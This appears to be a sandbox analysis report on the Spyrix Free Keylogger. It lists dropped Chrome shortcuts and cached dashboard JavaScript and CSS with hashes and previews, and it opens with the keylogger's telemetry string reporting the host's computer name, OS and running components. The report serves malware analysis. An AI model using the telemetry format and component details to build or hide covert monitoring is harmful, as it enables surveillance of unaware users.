SHA-512:	B0F76B25848CFF7FF212D66ED7A6EDC90673B74A7F18884819698993AF2FD3383C20BB0FC790FAF00B57B7557F277961C8996A77BEA9A324E2C287AB6335EF76
Malicious:	false
Reputation:	unknown
Preview:	&trial_id=-1&os_install_date=2023-10-03 10:57:18&os_country_code=44 &dnet=4.8.04084&os_caption=Microsoft Windows 10 Pro 10.0.19045 &prg_id=Spyrix Free Keylogger&prg_ver=11.6.22&license=&av=Windows Defender&os_type=windows&prg_lng=english&comp_name=user-PC&user_name=user&action=prg_list&user=&comp_time=2024-10-02 00:11:55&comp_id=9e146be9-c76a-4720-bcdb-53011b87bd06_241002001034&token=be803f1ff93557d8c7fd8faacbbf97d8&data={"run": {"spm.exe": 0, "sem.exe": 0, "spkl.exe": 1, "clv.exe": 0, "akl.exe": 0, "spmm.exe": 1, "sps.exe": 0, "wlg.exe": 0}, "folder": ["ff.exe", "qrl.exe", "spkl.exe", "spmm.exe", "sps.exe", "unins000.exe", "lame_enc.dll", "libeay32.dll", "sqlite3.dll", "ssleay32.dll", "WebBrowser.dll", "cfg.cmd", "dashboard.cmd", "id.cmd", "plist.cmd", "plist.vbs"], "delivery": 0, "monitoring": 1, "version": 3}..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 2 03:11:41 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.978341128517871
Encrypted:	false
SSDEEP:	48:8qda7T6DoYHWcidAKZdA19ehwiZUklqehZy+3:8FPI6y
MD5:	14F717156C7F300BFB53B0DD6E47DDE3
SHA1:	C40D1B954028FC69A25BD1D20DC56D43DF88F95F
SHA-256:	4D38AC205E80F7FB9993E53E01111EF293AA5E2F1E931D7B26A599FBEF1DF41B
SHA-512:	BE77CE859FB54D55ED5619F63D90F926DDE696FF5D96681212692A71BC7A3AEEF8C4313B960839F4194C7967490134A0A2F6AEC101C4AFED645E8E178D470987
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....\|@/....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IBYs!....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VBYs!....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VBYs!....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VBYs!..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VBYu!...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............+.f.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 2 03:11:41 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.991023624945403
Encrypted:	false
SSDEEP:	48:8fda7T6DoYHWcidAKZdA1weh/iZUkAQkqehqy+2:8aPC9Qry
MD5:	01CC621B0419DDD689465FD25F364ED9
SHA1:	6D797BD3F1AEE25FA2DB3409B7FFA534186FB53B
SHA-256:	537A7BE1A368A74192772EF638AE5ECEA03D856B4702789AE0E7A6BB6073B380
SHA-512:	A27D02EB932421C64CDAB7E5952D7025A4EDE947E7FD6475D5F2037A366BE1060FD8096A880E7959B08BDC14D0C6C9BB538D0C50BE1732A433C8B7F170A2E3A8
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....bH./....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IBYs!....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VBYs!....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VBYs!....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VBYs!..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VBYu!...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............+.f.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.003866530530068
Encrypted:	false
SSDEEP:	48:8xBda7T6DosHWcidAKZdA14tseh7sFiZUkmgqeh7s8y+BX:8xMPOney
MD5:	A77B23379FD1B729CE7C3BEBADA0553D
SHA1:	334416E14DA9206DB27D1754D3499A62D6CD7195
SHA-256:	933171188C51A59C8C8B879C34EEEA3930246E568E8E44E25EE3F431E7A35202
SHA-512:	6AC396839437A0D4F0445FC194D2233BA06F0B078F736D0271D7F8BA3158069E4A9A485476D6D763AECED11DC2123F56E1D743D46288A3A50E24D42BF2FB3281
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IBYs!....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VBYs!....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VBYs!....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VBYs!..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............+.f.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 2 03:11:41 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.990843933310238
Encrypted:	false
SSDEEP:	48:8iqda7T6DoYHWcidAKZdA1vehDiZUkwqehmy+R:8sPJEy
MD5:	8F6B5A11A1DA102167B5D001F72AF6F9
SHA1:	3EBA51239155A6434FFC7CB5FD21E88B19E5BF1B
SHA-256:	4E40FF324BD864968A8CDCC3F33BB0F780DE5141BBF961DB0F85503E775C53E6
SHA-512:	D3E2CAE7277C949EEB6B54887F7647B06FB0D1D1FD7250C92778A1F6FE55423CD63E6981846D0008D78510813470C5436946BC682D370C7C57196A256260EA97
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....Y./....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IBYs!....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VBYs!....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VBYs!....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VBYs!..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VBYu!...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............+.f.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 2 03:11:41 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9802155964616035
Encrypted:	false
SSDEEP:	48:8Xxda7T6DoYHWcidAKZdA1hehBiZUk1W1qehwy+C:8sP59Qy
MD5:	08928EDF0176B9FC6635A193AC31F4F9
SHA1:	7F0E0768D656BA7062A04C42E85AF1379A30397F
SHA-256:	AFB9A3BD6C795CDCD1CF8C4324BFC56F51E2921B5BC1A3AF4EC68B6071A0CE74
SHA-512:	E1106DA23FC2157DD4EE1940D67AB048579AB06497EDCE9806E1377EE1002AEC1B54C5B1C9ECC541EC486C1877F35ECA3D7F56492A8032D77A00F1082084A5C2
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,......./....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IBYs!....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VBYs!....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VBYs!....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VBYs!..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VBYu!...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............+.f.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 2 03:11:40 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.990999949698366
Encrypted:	false
SSDEEP:	48:8nda7T6DoYHWcidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbey+yT+:8CPFT/TbxWOvTbey7T
MD5:	755FEE628A2F405F0C37EB90F3C02BBE
SHA1:	7CAF7D63A44266A5E6E82CB22E70555BD22B62AB
SHA-256:	F4263805480BA009C410BBE8B6E0176A9FCC4E1E234E8137DE579227AB0965EC
SHA-512:	116AC0D327DBBD4FD824D54CA2F88DDB5248E459C8871E5D74D4AA3D5A6F264095B5892B3116578787EFABBDCAACE60D835C0E7439F019FEB90F30DFB3259571
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,............N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IBYs!....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VBYs!....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VBYs!....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VBYs!..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VBYu!...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............+.f.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 622

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from Unix, original size modulo 2^32 27077
Category:	downloaded
Size (bytes):	7285
Entropy (8bit):	7.964038684015041
Encrypted:	false
SSDEEP:	192:TvxMGwo9hFNrNNXizl2Bcj94aps9y5aW2CHkz92mDXnjrVo75OKc:7aboh57AL94ly592CmFXidJc
MD5:	F687E94F4D455BA119D2187B14A884AE
SHA1:	5206BDA3E1959F6A7369D33171F9AF76F92C21E2
SHA-256:	5D18275C9AC22E917CEA324C250F54D9F6A1899BAB0EFBDF3739A6AB181BE5A3
SHA-512:	1EA801D2E9BD5C4A3FAD19776270D971A159B28B52AF0369D208D6FFC0A5F81BF0CD8B8CA2379B1C75E366694DBE4B1ED1C7CBB78137F61829A8AC38B54D93CA
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/en-08b2a987.js
Preview:	............n.V...Sp..v.ka....!..$.;..%.......6...,.J....'....{I.".K.v:."......fM..Iq..\....S...O..k......../....}...\|......O]}.>.O.6u.a...GK..UE.3..usF..az.m...0.]...&o.[../..Y.L...i...0..U...0....M[.RwBy...8...Orq.>+..H..o:....o.f}t.>lRw...).O....J.3?o.f..jrfu.0mX.K:m....U_..zN.M.([f.#{PWeM.w.\,...V..^...m.q..6u..../O..w..Y...{x.~QVV..w}.}x5\|..q........v..a...J...H...I...~..o..5....._.......G.'.{.=k.F......>...\|..}..T....6....e..TX..K......,g[.S.r..l..\|."..O...-...G...i....`.XhN.....sIb..u...2k..K.i.WW....T.u.7,`.w..R.g.H.\Y.i.G....f.Z...mE...\.}...C>..ZgW.,..E....:gSR...N....,.8.).YV...nU..l;.M."18(...y...d..n.lV..[n.:............p.E[$..:..u.(.y..6.K.ErvR... Yy.....v..f.%..m%I.,....~..]z..W.l.$.E.Y3.L..@.J.:O.4....'S5..Kj....@W..,...N^..}.n....DLz..l....v...J3JJ..o.Q...^R8mY....&..[..<s..7a.Y.<c.r7.xV.N/.WE2...Vo$ci..Z..!../.b_.&.-N.en..7.\|s...#.<.3.\....?.nY..;OVy.gxa....6....zy.t.j..;..V.K.?....m..o...X6.CI

Chrome Cache Entry: 623

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (1184)
Category:	downloaded
Size (bytes):	1185
Entropy (8bit):	5.12883411542056
Encrypted:	false
SSDEEP:	24:tXpVrWpEqCFsoYkSwdmdgkvIEfE77N/VJpYvfEvp/7N7Oev:H5sbHoYVAkgEfi7bSf0J7p
MD5:	5712F506A0802DFB152E99CC1021EEAF
SHA1:	34A3770659421BBCE2AC882C21B59D51A6DF9D02
SHA-256:	4CDBFB3A255C3D881C885043AD25EF68BDFD324746706DA6DB3C0D077C90348B
SHA-512:	74A4D892433E7A98298749F354B9462B3EF59725D338EC78167B4A299FF368292FA905FF5C229331A88506F695983C5A1FDA50BE323EDD768409C0BD6DA770D1
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/Button.vue_vue_type_script_setup_true_lang-56edf5a6.js
Preview:	import{d as p,o as n,b as i,r as s,f as u,n as d,u as l,w as t}from"./index-004f4025.js";import{c as a}from"./Button.module-6d4e91b8.js";const f=["type","disabled","onClick"],m=["onClick"],k=p({__name:"Button",props:{size:{default:"md"},variant:{default:"default"},type:{default:"button"},loading:{type:Boolean},isInline:{type:Boolean,default:!1},disabled:{type:Boolean,default:!1},isCircle:{type:Boolean,default:!1},circleSize:{},hasShadow:{type:Boolean,default:!1},moreRounded:{type:Boolean,default:!1}},emits:["onClick"],setup(y,{emit:r}){const o=()=>{r("onClick")};return(e,c)=>e.isInline?(n(),i("span",{key:1,class:d([l(a).button,l(a)[e.size],l(a)[e.variant],{[l(a).loading]:e.loading,[l(a).inline]:e.isInline}]),onClick:t(o,["prevent"])},[s(e.$slots,"default")],10,m)):(n(),i("button",{key:0,type:e.type,disabled:e.disabled,style:u({width:`${e.circleSize}px`,height:`${e.circleSize}px`}),class:d([l(a).button,l(a)[e.size],l(a)[e.variant],{[l(a).loading]:e.loading,[l(a).inline]:e.isInline,[l(a)

Chrome Cache Entry: 624

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (3701)
Category:	dropped
Size (bytes):	3702
Entropy (8bit):	5.446443546204777
Encrypted:	false
SSDEEP:	48:rxNEM05e7EQWJ0uHyGenR6UPQGZysqPEmoMABn3PuugCimdAFXPXBfGJ19N5D:VNEM0e75W0R5QGSPEmJqfJggAFXP+rl
MD5:	93A5A2F50CE859E24BFF9D45674F6E7B
SHA1:	46410E20EFC5F332CA5787D071391DB80F06981A
SHA-256:	B4CA5BF04016A11DD1B6A5499CF1F01D704700EF13832C027D56797012D76632
SHA-512:	209041550C13F4E90A2DF87E4FAA9480D8F681A2844ADA211AD6DDF3A225CF55C86EB805A584FCB08A2453165AE6890447EA70A91E1E8FE0253E64D5EEC23FE7
Malicious:	false
Reputation:	unknown
Preview:	import B from"./loop-c45f0f1e.js";import{d as b,m as i,ai as w,c as d,o as u,b as h,i as f,n as o,u as a,h as p,U as v,z as m,e as C,y as I}from"./index-004f4025.js";import{_ as E}from"./Button.vue_vue_type_script_setup_true_lang-56edf5a6.js";const W="-ztRySNh",X="Ftt0CpWQ",A="_4aI8AqCH",R="WnNoxKKH",P="a6kY8aNX",Y="_-9LXnRIR",H="F8HcYjNr",T="StnNIJM1",V="EKAf0gVE",_="vzGZS5BU",q="YJawxt4q",D="J-FFIdf3",K="MPqoi-hk",L="-XPrybcb",U="W-vei4th",z="cXuVytYF",$="uck8wclE",J="_0LSdgwM5",O="_0a05eMPx",Z="_73fp8tGN",j="_9mUdv-E5",G="_5tXXmYiP",Q="_15qHZEB6",s={"input-wrapper":"-ztRySNh",inputWrapper:W,"input-wrapper-search":"Ftt0CpWQ",inputWrapperSearch:X,"input-wrapper-disabled":"_4aI8AqCH",inputWrapperDisabled:A,input:R,"input-selected":"a6kY8aNX",inputSelected:P,"input-selected-focused":"_-9LXnRIR",inputSelectedFocused:Y,"input-search":"F8HcYjNr",inputSearch:H,"input-no-bottom":"StnNIJM1",inputNoBottom:T,error:V,headShake:_,success:q,pulse:D,placeholder:K,"placeholder-success":"-XPrybcb",pl

Chrome Cache Entry: 625

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (1184)
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	5.12883411542056
Encrypted:	false
SSDEEP:	24:tXpVrWpEqCFsoYkSwdmdgkvIEfE77N/VJpYvfEvp/7N7Oev:H5sbHoYVAkgEfi7bSf0J7p
MD5:	5712F506A0802DFB152E99CC1021EEAF
SHA1:	34A3770659421BBCE2AC882C21B59D51A6DF9D02
SHA-256:	4CDBFB3A255C3D881C885043AD25EF68BDFD324746706DA6DB3C0D077C90348B
SHA-512:	74A4D892433E7A98298749F354B9462B3EF59725D338EC78167B4A299FF368292FA905FF5C229331A88506F695983C5A1FDA50BE323EDD768409C0BD6DA770D1
Malicious:	false
Reputation:	unknown
Preview:	import{d as p,o as n,b as i,r as s,f as u,n as d,u as l,w as t}from"./index-004f4025.js";import{c as a}from"./Button.module-6d4e91b8.js";const f=["type","disabled","onClick"],m=["onClick"],k=p({__name:"Button",props:{size:{default:"md"},variant:{default:"default"},type:{default:"button"},loading:{type:Boolean},isInline:{type:Boolean,default:!1},disabled:{type:Boolean,default:!1},isCircle:{type:Boolean,default:!1},circleSize:{},hasShadow:{type:Boolean,default:!1},moreRounded:{type:Boolean,default:!1}},emits:["onClick"],setup(y,{emit:r}){const o=()=>{r("onClick")};return(e,c)=>e.isInline?(n(),i("span",{key:1,class:d([l(a).button,l(a)[e.size],l(a)[e.variant],{[l(a).loading]:e.loading,[l(a).inline]:e.isInline}]),onClick:t(o,["prevent"])},[s(e.$slots,"default")],10,m)):(n(),i("button",{key:0,type:e.type,disabled:e.disabled,style:u({width:`${e.circleSize}px`,height:`${e.circleSize}px`}),class:d([l(a).button,l(a)[e.size],l(a)[e.variant],{[l(a).loading]:e.loading,[l(a).inline]:e.isInline,[l(a)

Chrome Cache Entry: 626

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (522)
Category:	downloaded
Size (bytes):	523
Entropy (8bit):	5.04570304661497
Encrypted:	false
SSDEEP:	12:fjj6Xna2GHXmtooSfih/Se2FheecfhDlrWHy+:ff6Xa2GHUSf8/n2FheecfhxrWHy+
MD5:	4961C7FAF74F272F4B3832CB9B803374
SHA1:	D9E302928FC7CBB2A32B499A2928623478CC2F0B
SHA-256:	F807B11AFDDA15D257A20773E7D480CF9F8269C2ABBA6754356F3D6DC65D592B
SHA-512:	35584A4E7E3E3CEB248AD323CC7BD39ECE6CF9856F9F4210906BAA9FBB601C9DFBACC7C2621044BB225320F1D56653DFAAB48DE7CEACB33FD3FB0CADBECE8F50
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/loop-c45f0f1e.js
Preview:	import{o as e,b as o,i as t}from"./index-004f4025.js";const s={xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},n=t("path",{d:"M14.72 13.434h-.677l-.24-.232a5.55 5.55 0 0 0 1.346-3.627 5.574 5.574 0 1 0-5.574 5.574 5.55 5.55 0 0 0 3.627-1.346l.232.24v.677L17.722 19 19 17.722zm-5.145 0a3.854 3.854 0 0 1-3.86-3.86 3.854 3.854 0 0 1 3.86-3.859 3.854 3.854 0 0 1 3.859 3.86 3.854 3.854 0 0 1-3.86 3.859"},null,-1),a=[n];function c(r,l){return e(),o("svg",s,[...a])}const _={render:c};export{_ as default,c as render};.

Chrome Cache Entry: 627

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	129
Entropy (8bit):	4.715705921334956
Encrypted:	false
SSDEEP:	3:lH4Vg0CwERKAAIx/fQxAUEm5JZHJPpRKrUrKzAdgbDn:l30Cw4MYoxJfHhpAArKzAaX
MD5:	738B618755592A2FB11C090833DAA6FF
SHA1:	985ED99CF7A1BED24569735A33B757531D027AE3
SHA-256:	BA59C56764D29D3B0C21BFB12D2F7AE92E745420F214B3B3DC52D31712301E39
SHA-512:	5CADFC6D7594CFD29CCF8539F35FDFC6B5B39525235DD38F1CBE0A49D0FB67D417AFBA1C2B0ACCEBE7C6F06C5FC9951CC167BB37F25F05D9F8E3313E5C27D42C
Malicious:	false
Reputation:	unknown
Preview:	const t="_6ptc-v1o",o="eTUt1vSM",c={"button-template":"_6ptc-v1o",buttonTemplate:t,"with-icon":"eTUt1vSM",withIcon:o};export{c};.

Chrome Cache Entry: 628

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (612)
Category:	dropped
Size (bytes):	613
Entropy (8bit):	5.08267772798313
Encrypted:	false
SSDEEP:	12:tGYt6XJqt4oiYk5xURvnYgdMVB1K7xNFn40EffoCT/evn:tGYt6XYt4oiYkXURvn7MRwxjifZ7ev
MD5:	2DAF2E8244A82CE2D18896703255F110
SHA1:	256AFE217B8C4014D87643C68AE6D53FA7DF59F5
SHA-256:	7299EB78A78C169241ADE88D784BAE2EA7207E00CBC18A98C35DB237DD0EB144
SHA-512:	B7BFCC34C3639A5B6A68E9D190D83894686413FCFA1E3242809D3F4ED6697BB25B2547176ECD03044753945A0E769CF513D61C69F274DE6926DD7BFF5B0229AD
Malicious:	false
Reputation:	unknown
Preview:	import{d as p,c as r,a as e,o as t,b as c,t as u,n as l,e as f,U as d}from"./index-004f4025.js";const k=p({__name:"Text",props:{oneRow:{type:Boolean,default:!1},bold:{type:Boolean,default:!1},text:{},size:{default:"sm"},color:{default:"default"},uppercase:{type:Boolean,default:!1},hoverLink:{type:Boolean,default:!1}},setup(n){const a=n,o=r(()=>[e.text,e[a.size],e[a.color],{[e.bold]:a.bold,[e.uppercase]:a.uppercase,[e.hoverLink]:a.hoverLink}]);return(s,i)=>s.oneRow?(t(),f(d,{key:1,class:l(o.value),text:s.text},null,8,["class","text"])):(t(),c("span",{key:0,class:l(o.value)},u(s.text),3))}});export{k as _};.

Chrome Cache Entry: 629

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	97
Entropy (8bit):	4.951184270366716
Encrypted:	false
SSDEEP:	3:8yXjE9+eAIJ6GeNJ1VyumOw0/OUn:8yW6Gej1VTOU
MD5:	3AA24E4B0CE2D0A271E1A193951B6655
SHA1:	9F940B9FFAB5F9BAC8AAF68C1B5648FEE1D51E6E
SHA-256:	FD9601A773EAEEA1B5B30EDA082FF58FD2CAFB341E6239069E87B8D5048DA2D8
SHA-512:	B654D3ABF5C5DEA0561B11058F22B9A052C8567E67ADCB73273B445D29ABAFC0DABD9D3D1E89816E551D2DD72EBC3C21571237D635AFCB6023FA6D3D1E2D76A9
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/ButtonTemplate-fd9601a7.css
Preview:	._6ptc-v1o{display:flex;justify-content:center;align-items:center;width:100%}.eTUt1vSM{gap:.4em}.

Chrome Cache Entry: 630

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2465)
Category:	downloaded
Size (bytes):	2466
Entropy (8bit):	5.426086826070174
Encrypted:	false
SSDEEP:	48:Je9Al3AZl1K2ltbPCPZQAtXAL7APmHmT84Rtj09LOv:Jl3AZXKYtrA+AtXAvAPsmwStjH
MD5:	97ED63B4A13DD52ED16E3FA72D9C8279
SHA1:	EAF9127A88CF66BE486FCA25238B286269B75B79
SHA-256:	CA236C001E8BB9D47FE833AF3F70E9A663E01BC967E5E89AE2F8EF82F5BE0929
SHA-512:	C2B728D090AAE952E8365374EA723772C801C07C6C6E8F232C3ABF335149B3E6B4A3E8A37172B92372004FA160BD2B5FCDF6C73185255E72B7222A7CC22C6668
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/Button-ca236c00.css
